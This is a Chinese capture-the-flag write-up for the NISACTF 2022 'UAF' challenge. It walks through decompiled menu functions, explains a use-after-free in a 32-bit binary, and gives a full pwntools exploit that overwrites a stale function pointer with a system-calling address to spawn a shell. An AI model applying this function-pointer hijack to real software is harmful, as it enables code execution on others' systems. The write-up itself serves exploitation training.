直接上例题
[NISACTF 2022]UAF
checksec,注意一下是32位
1 2 3 4 5 6
| str1k3@ubuntu:~/Desktop$ checksec '/var/run/vmblock-fuse/blockdir/FsiUbs/UAF' [*] '/var/run/vmblock-fuse/blockdir/FsiUbs/UAF' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled
|
先看main函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3[4];
v3[1] = __readgsdword(0x14u); setbuf(stdin, 0); setbuf(stdout, 0); while ( 1 ) { while ( 1 ) { puts("1.create"); puts("2.edit"); puts("3.delete"); puts("4.show"); putchar(58); __isoc99_scanf("%d", v3); if ( v3[0] != 2 ) break; edit(); } if ( v3[0] > 2 ) { if ( v3[0] == 3 ) { del(); } else if ( v3[0] == 4 ) { show(); } else { LABEL_13: puts("Invalid choice"); } } else { if ( v3[0] != 1 ) goto LABEL_13; create(); } } }
|
很标准的菜单题,跟进每个函数看看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40
| int create() { int result; int v1; char *v2;
printf("you are creating the %d page\n", i); result = i; if ( i >= 0 ) { result = i; if ( i <= 9 ) { v1 = i; (&page)[v1] = (char *)malloc(8u); if ( i ) { if ( i <= 0 || i > 9 ) { return puts("NO PAGE"); } else { puts("Good cretation!"); return ++i; } } else { v2 = page; *(_DWORD *)page = 1868654951; v2[4] = 0; *((_DWORD *)page + 1) = echo; puts("The init page"); return ++i; } } } return result; }
|
creat函数的重点有三处:
1.创建chunk的时候采用的是++i,与其他输入index来创建的题有所不同
2.能创建chunk0,因为“if ( i >= 0 )”
3.注意注释中的page + 1处,意思就是page地址的下一个字长的内容更改为echo这个函数
看看echo
1 2 3 4
| int __cdecl echo(char *s) { return puts(s); }
|
puts是个好东西
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| unsigned int edit() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 <= 0 || v1 > i ) { puts("NO PAGE"); } else { puts("Input your strings"); __isoc99_scanf("%s", (&page)[v1]); } return __readgsdword(0x14u) ^ v2; }
|
edit函数,就是输入你要编辑的chunk,然后再输入要更改的内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| unsigned int show() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 ) { if ( v1 <= 0 || v1 > i ) puts("NO PAGE"); else echo((&page)[v1]); } else { (*((void (__cdecl **)(char *))page + 1))(page); } return __readgsdword(0x14u) ^ v2; }
|
这句代码的作用是什么?
先执行指针所指向的地址的下一个字长的指令 接着用指针所指向的地址的内容当作先前执行的指令的参数
所以当我们不对chunk内容进行任何溢出时,仅仅只是输入小于一个字长的数据时
show函数就相当于调用了echo函数把chunk的内容puts了出来
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| unsigned int del() { int v1; unsigned int v2;
v2 = __readgsdword(0x14u); puts("Input page"); __isoc99_scanf("%d", &v1); if ( v1 < 0 || v1 > i ) puts("NO PAGE"); else free((&page)[v1]); return __readgsdword(0x14u) ^ v2; }
|
delete函数,这里就要讲讲UAF的成因了
例如此处,假设已经申请了chunk0
chunk0被free后,其指针并没有被清空
此时申请chunk1
而由于每一次申请的chunk大小都是0x8
此时申请的page1大小小于等于page0
系统就会把chunk0[已经被free,指针(page0)存入fastbin]的空间再次分配给chunk1
即此时chunk0与chunk1共享空间
因此可以实现利用page1控制chunk0
即UAF,Use After Free
这里有个小问题,我使用Ubuntu 20.04进行动调时
page0会被存入tcache,但是仍然会被复用
等研究tcache的时候再来补充
回到本题思路
NICO函数处存在一处system
我们用edit函数修改chunk0的内容为 “sh\x00\x00”
然后溢出到下一个字长 修改其内容为system的地址
这样当我们执行show函数的时候 其就会使用chunk内的sh当作system函数的参数
执行system(‘sh’),拿到shell
这里再解释一下为什么是 ‘sh\x00\x00’
32位的程序
一个字长只有4个字节 如果我们使用的是/bin/sh显然字节不够
所以使用sh也能达成对应的操作 至于后面的两个\x00 是为了填充字节 又不至于破坏sh字符串
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| from pwn import * p = process('./UAF')
elf = ELF('./UAF') context(arch='i386', os='linux', log_level='debug') NICO = 0x80484E0 def add_chunk(): p.recvuntil(b':') p.sendline(b'1') def edit_chunk(index, string): p.recvuntil(b':') p.sendline(b'2') p.recvuntil(b'page\n') p.sendline(str(index)) p.recvuntil(b'strings\n') p.sendline(string) def del_chunk(index): p.recvuntil(b':') p.sendline(b'3') p.recvuntil(b'page\n') p.sendline(str(index)) def show_chunk(index): p.recvuntil(b':') p.sendline(b'4') p.recvuntil(b'page\n') p.sendline(str(index)) def debug(): gdb.attach() pause(p)
add_chunk() del_chunk(0) add_chunk() edit_chunk(1, b'sh\x00\x00' + p32(NICO)) show_chunk(0) p.interactive()
|